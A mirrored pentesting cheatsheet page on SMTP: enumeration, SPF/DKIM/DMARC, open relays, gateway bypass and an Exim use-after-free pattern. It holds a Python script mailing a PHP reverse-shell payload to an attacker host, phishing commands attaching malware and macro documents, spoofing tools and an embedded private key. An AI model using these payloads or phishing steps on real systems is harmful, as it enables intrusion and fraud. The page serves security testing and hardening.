daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (38074B)


      1 ---
      2 title: "25, 465, 587 - Pentesting SMTP"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-smtp/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-smtp/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 25, 465, 587 - Pentesting SMTP
     14 
     15 ## Basic information<sup>[[9]](#references)[[10]](#references)</sup>
     16 
     17 The **Simple Mail Transfer Protocol (SMTP)** transports email between mail systems and submits outgoing messages. Users normally retrieve or synchronize messages from a mailbox with **POP3 or IMAP** instead.<sup>[[9]](#references)</sup>
     18 
     19 Common mail transfer agents include Postfix, Exim, Sendmail, and Microsoft Exchange. Mail clients use SMTP for sending and POP3 or IMAP for mailbox access.
     20 
     21 **Default ports:** TCP/25 for server-to-server SMTP (often upgraded with STARTTLS), TCP/465 for message submission over implicit TLS, and TCP/587 for message submission (normally with STARTTLS).<sup>[[9]](#references)[[10]](#references)</sup>
     22 
     23 ```text
     24 PORT   STATE SERVICE REASON  VERSION
     25 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
     26 ```
     27 
     28 ## Email Security Gateways (SEGs)
     29 
     30 As mentioned in this [blog post](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) **Secure Email Gateways (SEGs)** sit **in-line** with inbound mail flow by **changing MX records** to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes **all inbound mail reaches the SEG first**; if the mail server can be reached directly, the SEG can be **avoided** (similar to skipping a WAF by talking to the origin directly).<sup>[[5]](#references)</sup>
     31 
     32 ### Avoiding SEGs via MX mismatch
     33 
     34 Organizations using Entra ID / Exchange Online often have **multiple accepted domains**. If **any accepted domain** has an MX record that **points directly to the mail server** (e.g., Exchange Online) instead of the SEG, you can deliver mail to that domain and **avoid the SEG**. This is a **misconfiguration** (not a vulnerability) but still a common gap.
     35 
     36 Also note the default `<tenant>.onmicrosoft.com` domain: its MX record always points to Exchange Online. If inbound to `*.onmicrosoft.com` is **not locked down**, sending to `user@<tenant>.onmicrosoft.com` may land directly in the inbox while bypassing the SEG.<sup>[[5]](#references)</sup>
     37 
     38 **Defensive notes**:
     39 
     40 - Lock down inbound to `*.onmicrosoft.com`.
     41 - Regularly audit accepted domains and their MX routing.
     42 - Configure mail servers to **only accept** inbound from the SEG.
     43 
     44 ### Email headers
     45 
     46 If you can make the target send you an email (for example, through a website contact form), inspect its headers for information about the target's internal mail topology.
     47 
     48 You may also obtain a nondelivery report by sending a message to a nonexistent address. Use an allowed sender (check the SPF policy) and an address that can receive delivery-status notifications.
     49 
     50 Different message content may produce additional headers such as `X-Virus-Scanned: by av.domain.com`. When explicitly authorized, an EICAR test file can help identify the antivirus product and reveal whether known vulnerabilities apply.
     51 
     52 ## Basic actions
     53 
     54 ### Banner grabbing and basic connection
     55 
     56 **SMTP:**
     57 
     58 ```bash
     59 nc -vn <IP> 25
     60 ```
     61 
     62 **SMTPS**:
     63 
     64 ```bash
     65 openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
     66 openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
     67 ```
     68 
     69 ### Finding an organization's MX servers
     70 
     71 ```bash
     72 dig +short mx google.com
     73 ```
     74 
     75 ### Enumeration
     76 
     77 ```bash
     78 nmap -p25 --script smtp-commands 10.10.10.10
     79 nmap -p25 --script smtp-open-relay 10.10.10.10 -v
     80 ```
     81 
     82 ### NTLM Auth - Information disclosure
     83 
     84 If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).<sup>[[6]](#references)</sup>
     85 
     86 ```bash
     87 root@kali: telnet example.com 587
     88 220 example.com SMTP Server Banner
     89 >> HELO
     90 250 example.com Hello [x.x.x.x]
     91 >> AUTH NTLM 334
     92 NTLM supported
     93 >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
     94 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
     95 ```
     96 
     97 Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
     98 
     99 ### Internal server name - Information disclosure
    100 
    101 Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
    102 
    103 ```text
    104 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
    105 EHLO all
    106 250-somedomain.com Hello [x.x.x.x]
    107 250-TURN
    108 250-SIZE 52428800
    109 250-ETRN
    110 250-PIPELINING
    111 250-DSN
    112 250-ENHANCEDSTATUSCODES
    113 250-8bitmime
    114 250-BINARYMIME
    115 250-CHUNKING
    116 250-VRFY
    117 250 OK
    118 MAIL FROM: me
    119 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
    120 ```
    121 
    122 ### Sniffing
    123 
    124 Check if you sniff some password from the packets to port 25
    125 
    126 ### [Authentication brute force](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#smtp)
    127 
    128 ## Username enumeration
    129 
    130 **Authentication is not always needed**<sup>[[3]](#references)</sup>
    131 
    132 ### RCPT TO
    133 
    134 ```bash
    135 $ telnet 1.1.1.1 25
    136 Trying 1.1.1.1...
    137 Connected to 1.1.1.1.
    138 Escape character is '^]'.
    139 220 myhost ESMTP Sendmail 8.9.3
    140 HELO x
    141 250 myhost Hello 18.28.38.48, pleased to meet you
    142 MAIL FROM:example@domain.com
    143 250 2.1.0 example@domain.com... Sender ok
    144 RCPT TO:test
    145 550 5.1.1 test... User unknown
    146 RCPT TO:admin
    147 550 5.1.1 admin... User unknown
    148 RCPT TO:ed
    149 250 2.1.5 ed... Recipient ok
    150 ```
    151 
    152 ### VRFY
    153 
    154 ```bash
    155 $ telnet 1.1.1.1 25
    156 Trying 1.1.1.1...
    157 Connected to 1.1.1.1.
    158 Escape character is '^]'.
    159 220 myhost ESMTP Sendmail 8.9.3
    160 HELO
    161 501 HELO requires domain address
    162 HELO x
    163 250 myhost Hello 18.28.38.48, pleased to meet you
    164 VRFY root
    165 250 Super-User root@myhost
    166 VRFY blah
    167 550 blah... User unknown
    168 ```
    169 
    170 ### EXPN
    171 
    172 ```bash
    173 $ telnet 1.1.1.1 25
    174 Trying 1.1.1.1...
    175 Connected to 1.1.1.1.
    176 Escape character is '^]'.
    177 220 myhost ESMTP Sendmail 8.9.3
    178 HELO
    179 501 HELO requires domain address
    180 HELO x
    181 EXPN test
    182 550 5.1.1 test... User unknown
    183 EXPN root
    184 250 2.1.5 ed.williams@myhost
    185 EXPN sshd
    186 250 2.1.5 sshd privsep sshd@myhost
    187 ```
    188 
    189 ### Automatic tools
    190 
    191 ```text
    192 Metasploit: auxiliary/scanner/smtp/smtp_enum
    193 smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
    194 Nmap: nmap --script smtp-enum-users <IP>
    195 ```
    196 
    197 ## DSN Reports
    198 
    199 **Delivery Status Notification (DSN) reports:** If you send an email to an invalid address, the receiving organization may return a failure notification. Its headers can disclose sensitive information such as mail-service IP addresses and antivirus software details.
    200 
    201 ## [Commands](/hacktricks/network-services-pentesting/pentesting-smtp/smtp-commands)
    202 
    203 ### Sending an Email from linux console
    204 
    205 ```bash
    206 sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
    207 Reading message body from STDIN because the '-m' option was not used.
    208 If you are manually typing in a message:
    209   - First line must be received within 60 seconds.
    210   - End manual input with a CTRL-D on its own line.
    211 
    212 <phishing message>
    213 ```
    214 
    215 ```bash
    216  swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
    217 ```
    218 
    219 When attaching files with `swaks`, use the `@` prefix so the file bytes are embedded instead of the literal filename string. This is critical for delivering macro documents:<sup>[[4]](#references)</sup>
    220 
    221 ```bash
    222 swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5
    223 ```
    224 
    225 ### Sending an Email with Python
    226 
    227 <details>
    228 
    229 <summary>Python code</summary>
    230 
    231 ```python
    232 from email.mime.multipart import MIMEMultipart
    233 from email.mime.text import MIMEText
    234 import smtplib
    235 import sys
    236 
    237 lhost = "127.0.0.1"
    238 lport = 443
    239 rhost = "192.168.1.1"
    240 rport = 25 # 489,587
    241 
    242 # create message object instance
    243 msg = MIMEMultipart()
    244 
    245 # setup the parameters of the message
    246 password = ""
    247 msg['From'] = "attacker@local"
    248 msg['To'] = "victim@local"
    249 msg['Subject'] = "This is not a drill!"
    250 
    251 # payload
    252 message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
    253 
    254 print("[*] Payload is generated : %s" % message)
    255 
    256 msg.attach(MIMEText(message, 'plain'))
    257 server = smtplib.SMTP(host=rhost,port=rport)
    258 
    259 if server.noop()[0] != 250:
    260     print("[-]Connection Error")
    261     exit()
    262 
    263 server.starttls()
    264 
    265 # Uncomment if log-in with authencation
    266 # server.login(msg['From'], password)
    267 
    268 server.sendmail(msg['From'], msg['To'], msg.as_string())
    269 server.quit()
    270 
    271 print("[***]successfully sent email to %s:" % (msg['To']))
    272 ```
    273 
    274 </details>
    275 
    276 ## SMTP Smuggling
    277 
    278 SMTP smuggling vulnerabilities can bypass SMTP security controls by exploiting differences in how mail servers recognize message boundaries. For more information, see:
    279 
    280 
    281 [Smtp Smuggling](/hacktricks/network-services-pentesting/pentesting-smtp/smtp-smuggling)
    282 
    283 
    284 ## Exim STARTTLS + BDAT callback desync (GnuTLS UAF)
    285 
    286 A useful **Exim-specific exploitation surface** is the interaction between **`STARTTLS`**, **`BDAT`/`CHUNKING`**, and the TLS backend when Exim is compiled against **GnuTLS**.<sup>[[1]](#references)[[2]](#references)</sup> The interesting technique is **not the CVE itself**, but the bug class:
    287 
    288 - A higher-level parser (**BDAT**) **pushes/wraps** the active `receive_*` callbacks and saves the old ones in a lower callback row.
    289 - The lower layer (**TLS**) is later **torn down** after `gnutls_record_recv() == 0` / TLS EOF.
    290 - Teardown restores only the **top-level** callbacks, but the **saved lower-layer callbacks remain stale**.
    291 - A later parser repair path still calls `ungetc()` through that stale row and writes into a **freed TLS buffer**.
    292 
    293 ### Why this matters for attackers
    294 
    295 This creates a very practical checklist when reviewing SMTP daemons and other protocol parsers:
    296 
    297 1. **Look for modal parser stacking** (`DATA`/`BDAT`, compression, TLS, chunked reads, content filters).
    298 2. **Check teardown symmetry**: if one layer pops or resets only the active callbacks/vtable, stale saved callbacks may still reference destroyed state.
    299 3. **Audit repair paths** such as `ungetc()`, line-ending fixups, pushback buffers, or end-of-message normalization; these often become the actual write primitive after a lower layer dies.
    300 4. **Check for fallback after close**: if a TLS/backend read error frees state and then falls back to plaintext I/O, the outer parser may keep running long enough to turn a lifetime bug into exploitation.
    301 
    302 ### Exim-specific shape
    303 
    304 In Exim's `BDAT` path, `bdat_push_receive_functions()` stores the current lower layer (`tls_getc`, `tls_getbuf`, `tls_ungetc`, etc.) and replaces the active row with BDAT wrappers. If a **TLS EOF** happens while the body is still being read, `tls_close()` frees the TLS plaintext transfer buffer but BDAT can still hold **stale lower-layer pointers** to `tls_*`. Later, end-of-data line-ending repair calls `bdat_ungetc('\n')` or `bdat_ungetc('\r')`, which can reach `tls_ungetc()` and perform a **1-byte write** into the **freed** TLS buffer.<sup>[[1]](#references)</sup>
    305 
    306 The primitive is constrained (newline or carriage return), but the offset is influenced by the TLS low-water mark. This is a classic [use-after-free](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/libc-heap/use-after-free/README.md) situation where even a single-byte post-free write may be enough to corrupt heap metadata or steer later heap reuse.
    307 
    308 ### Triage / hunting notes
    309 
    310 - During **`EHLO`**, check whether the server advertises **`STARTTLS`** and **`CHUNKING`** (`BDAT`).
    311 - Prioritize **Exim + GnuTLS** targets where **unauthenticated SMTP sessions** can reach `STARTTLS` and then send `BDAT`.<sup>[[1]](#references)</sup>
    312 - When studying exploitation potential, look for **post-free allocation windows** in mail-processing features (filters, DKIM, MIME parsing, AV hooks, canonicalization) that can **reclaim or shape** the freed chunk before the stale callback fires.
    313 - This bug family is a good reminder that **protocol state-machine bugs can expose heap primitives**, so SMTP review should include both protocol desync and memory-lifetime analysis.
    314 
    315 ## Mail Spoofing Countermeasures
    316 
    317 Organizations use **SPF**, **DKIM**, and **DMARC** to reduce unauthorized email sent on their behalf.
    318 
    319 A detailed guide to these countermeasures is available in [Demystifying DMARC](https://seanthegeek.net/459/demystifying-dmarc/).<sup>[[8]](#references)</sup>
    320 
    321 ### SPF<sup>[[11]](#references)</sup>
    322 
    323 > [!CAUTION]
    324 > The dedicated DNS SPF resource-record type was deprecated; SPF policies must be published as **TXT records** at the exact domain whose mail is being evaluated. Helper policies may still live at names such as `_spf.example.com` and be referenced with `include`, for example `"v=spf1 include:_spf.google.com ~all"`.
    325 
    326 **Sender Policy Framework** (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities **authorized to send email on behalf of a domain name**, includes various "**Mechanisms**" in the SPF record.
    327 
    328 #### Mechanisms
    329 
    330 From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
    331 
    332 | Mechanism | Description                                                                                                                                                                                                                                                                                                                         |
    333 | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
    334 | ALL       | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms.                                                                                                                                                                                                                                  |
    335 | A         | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match.                                                                                                                                                                                                                   |
    336 | IP4       | If the sender is in a given IPv4 address range, match.                                                                                                                                                                                                                                                                              |
    337 | IP6       | If the sender is in a given IPv6 address range, match.                                                                                                                                                                                                                                                                              |
    338 | MX        | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers).                                                                                                                                                                          |
    339 | PTR       | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible.                                                                                     |
    340 | EXISTS    | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries.                                                                                                                           |
    341 | INCLUDE   | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used.                                                                                     |
    342 | REDIRECT  | <p>A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.</p><p>It SPF policy of the domain indicated in the redirect Mechanism will be used.</p> |
    343 
    344 Each SPF mechanism may have a **qualifier** that determines the result when the mechanism matches. The default qualifier is `+` (PASS).\
    345 An SPF policy commonly ends with `~all` or `-all`, producing SOFTFAIL or FAIL respectively when no earlier mechanism matches.
    346 
    347 #### Qualifiers
    348 
    349 Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:
    350 
    351 - **`+`**: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making `+mx` equivalent to `mx`.
    352 - **`?`**: Represents a NEUTRAL result, treated similarly to NONE (no specific policy).
    353 - **`~`**: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly.
    354 - **`-`**: Indicates FAIL, suggesting that the email should be outright rejected.
    355 
    356 In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy:
    357 
    358 ```text
    359 dig txt google.com | grep spf
    360 google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"
    361 
    362 dig txt _spf.google.com | grep spf
    363 ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
    364 ;_spf.google.com.               IN      TXT
    365 _spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
    366 
    367 dig txt _netblocks.google.com | grep spf
    368 _netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
    369 
    370 dig txt _netblocks2.google.com | grep spf
    371 _netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
    372 
    373 dig txt _netblocks3.google.com | grep spf
    374 _netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
    375 ```
    376 
    377 Mail from a domain without a valid SPF policy is more likely to be treated as untrusted, but receiver behavior varies and SPF alone does not prevent visible-header spoofing.
    378 
    379 To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
    380 
    381 ### DKIM (DomainKeys Identified Mail)<sup>[[12]](#references)</sup>
    382 
    383 DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name.
    384 
    385 For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`.
    386 
    387 A command to fetch this information might look like:
    388 
    389 ```bash
    390 dig 20120113._domainkey.gmail.com TXT | grep p=
    391 # This command would return something like:
    392 20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
    393 ```
    394 
    395 ### DMARC (Domain-based Message Authentication, Reporting & Conformance)<sup>[[13]](#references)</sup>
    396 
    397 DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions.
    398 
    399 Query the `_dmarc` subdomain to obtain the DMARC record:
    400 
    401 ```bash
    402 # Reject
    403 dig _dmarc.facebook.com txt | grep DMARC
    404 _dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
    405 
    406 # Quarantine
    407 dig _dmarc.google.com txt | grep DMARC
    408 _dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
    409 
    410 # None
    411 dig _dmarc.bing.com txt | grep DMARC
    412 _dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
    413 ```
    414 
    415 #### DMARC tags
    416 
    417 | Tag Name | Purpose                                       | Sample                          |
    418 | -------- | --------------------------------------------- | ------------------------------- |
    419 | v        | Protocol version                              | v=DMARC1                        |
    420 | pct      | Percentage of messages subjected to filtering | pct=20                          |
    421 | ruf      | Reporting URI for forensic reports            | ruf=mailto:authfail@example.com |
    422 | rua      | Reporting URI of aggregate reports            | rua=mailto:aggrep@example.com   |
    423 | p        | Policy for organizational domain              | p=quarantine                    |
    424 | sp       | Policy for subdomains of the OD               | sp=reject                       |
    425 | adkim    | Alignment mode for DKIM                       | adkim=s                         |
    426 | aspf     | Alignment mode for SPF                        | aspf=r                          |
    427 
    428 ### Extra email hardening checks (HackTricks DNS/Domain auditor)
    429 
    430 The HackTricks Domain/DNS auditor now includes extra SMTP/email-control checks.  
    431 Use this to manually validate findings and explain impact in reports.
    432 
    433 #### DMARC alignment hardening (`adkim`, `aspf`, `fo`)
    434 
    435 **What it checks**
    436 - Strict alignment (`adkim=s`, `aspf=s`)
    437 - Presence of forensic policy (`fo=...`)
    438 
    439 **How to check**
    440 ```bash
    441 dig _dmarc.example.com TXT +short
    442 ```
    443 
    444 **Impact**
    445 - Relaxed alignment or missing forensic controls can reduce spoofing resistance and forensic visibility.
    446 
    447 **Attacker abuse**
    448 - Attackers can craft borderline-aligned campaigns that pass weaker DMARC configurations more often.
    449 
    450 #### MX STARTTLS transport security
    451 
    452 **What it checks**
    453 - Whether MXs advertise `STARTTLS`
    454 - Whether STARTTLS negotiation works and certificates validate
    455 
    456 **How to check**
    457 ```bash
    458 dig MX example.com +short
    459 openssl s_client -starttls smtp -connect mx1.example.com:25 -servername mx1.example.com
    460 ```
    461 
    462 **Impact**
    463 - Missing/broken STARTTLS increases plaintext transport exposure and downgrade risk.
    464 
    465 **Attacker abuse**
    466 - Active network attackers can intercept/modify SMTP traffic more easily if STARTTLS is absent or misconfigured.
    467 
    468 #### MTA-STS policy consistency
    469 
    470 **What it checks**
    471 - `_mta-sts` TXT exists and policy file is reachable
    472 - Policy fields (`version`, `mode`, `max_age`) are valid
    473 - `mx:` patterns actually match active MX hosts
    474 
    475 **How to check**
    476 ```bash
    477 dig TXT _mta-sts.example.com +short
    478 curl -i https://mta-sts.example.com/.well-known/mta-sts.txt
    479 dig MX example.com +short
    480 ```
    481 
    482 **Impact**
    483 - Broken or inconsistent policy gives a false sense of protection and weakens SMTP TLS enforcement.
    484 
    485 **Attacker abuse**
    486 - Downgrade/MITM opportunities increase when policy hosts or MX matching are misconfigured.
    487 
    488 #### TLS-RPT destination validation
    489 
    490 **What it checks**
    491 - `rua=` exists and uses valid `mailto:` or `https:` destinations
    492 - Basic reachability hints of report destinations
    493 
    494 **How to check**
    495 ```bash
    496 dig TXT _smtp._tls.example.com +short
    497 ```
    498 
    499 **Impact**
    500 - Broken report sinks = no visibility into SMTP TLS failures.
    501 
    502 **Attacker abuse**
    503 - TLS downgrade and delivery issues can remain unnoticed longer.
    504 
    505 #### BIMI full validation (logo + VMC URL)
    506 
    507 **What it checks**
    508 - `l=` logo URL reachable and actually serves SVG content
    509 - `a=` VMC URL uses HTTPS and is reachable
    510 
    511 **How to check**
    512 ```bash
    513 dig TXT default._bimi.example.com +short
    514 curl -I https://logo.example.com/brand.svg
    515 curl -I https://example.com/vmc.pem
    516 ```
    517 
    518 **Impact**
    519 - Brand-trust controls can silently fail, reducing anti-phishing posture in supporting clients.
    520 
    521 **Attacker abuse**
    522 - Poorly validated BIMI deployments can be leveraged in social engineering narratives around "trusted sender" expectations.
    523 
    524 #### Email service exposure / autodiscover over HTTP
    525 
    526 **What it checks**
    527 - Presence of common email service subdomains (`autodiscover`, `imap`, `pop`, `smtp`, `mail`, `webmail`)
    528 - Whether autodiscover endpoint is reachable over plaintext HTTP
    529 
    530 **How to check**
    531 ```bash
    532 for h in autodiscover imap pop smtp mail webmail; do dig +short ${h}.example.com A; done
    533 curl -i http://autodiscover.example.com/autodiscover/autodiscover.xml
    534 ```
    535 
    536 **Impact**
    537 - Increases exposed attack surface and can enable weak-client/legacy downgrade paths.
    538 
    539 **Attacker abuse**
    540 - Autodiscover abuse and credential-harvest workflows become easier when plaintext or weak redirects are accepted.
    541 
    542 ### **What about Subdomains?**
    543 
    544 **From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
    545 You need to have separate SPF records for each subdomain you wish to send mail from.\
    546 The following was originally posted on openspf.org, which used to be a great resource for this kind of thing.
    547 
    548 > The Demon Question: What about subdomains?
    549 >
    550 > If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.
    551 >
    552 > So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.
    553 >
    554 > Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: \* IN TXT "v=spf1 -all"
    555 
    556 This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition.
    557 
    558 ### Open relay<sup>[[7]](#references)</sup>
    559 
    560 When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a **relay server that is trusted by the recipient**. However, a common challenge is that administrators might not be fully aware of which **IP ranges are safe to allow**. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments.
    561 
    562 A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to **allow connections from any IP address**. This is done by configuring the SMTP server's `mynetworks` parameter to accept all IP addresses, as shown below:
    563 
    564 ```bash
    565 mynetworks = 0.0.0.0/0
    566 ```
    567 
    568 For checking whether a mail server is an open relay (which means it could forward email from any external source), the `nmap` tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using `nmap` is:
    569 
    570 ```bash
    571 nmap -p25 --script smtp-open-relay 10.10.10.10 -v
    572 ```
    573 
    574 ### **Tools**
    575 
    576 - [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations**
    577 - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatically get SPF and DMARC configs**
    578 
    579 ### Send Spoof Email
    580 
    581 - [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
    582 - [**http://www.anonymailer.net/**](http://www.anonymailer.net)
    583 - [**https://emkei.cz/**](https://emkei.cz/)
    584 
    585 **Or you could use a tool:**
    586 
    587 - [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
    588 
    589 ```bash
    590 # This will send a test email from test@victim.com to destination@gmail.com
    591 python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
    592 # But you can also modify more options of the email
    593 python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
    594 ```
    595 
    596 > [!WARNING]
    597 > If you get any **error using in the dkim python lib** parsing the key feel free to use this following one.\
    598 > **NOTE**: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key **cannot be parsed by dkim**.
    599 >
    600 > ```
    601 > -----BEGIN RSA PRIVATE KEY-----
    602 > MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
    603 > spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
    604 > pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
    605 > AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
    606 > koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
    607 > fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
    608 > 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
    609 > ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
    610 > GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
    611 > 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
    612 > Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
    613 > zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
    614 > K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
    615 > -----END RSA PRIVATE KEY-----
    616 > ```
    617 
    618 **Or you could do it manually:**
    619 
    620 ### PHP
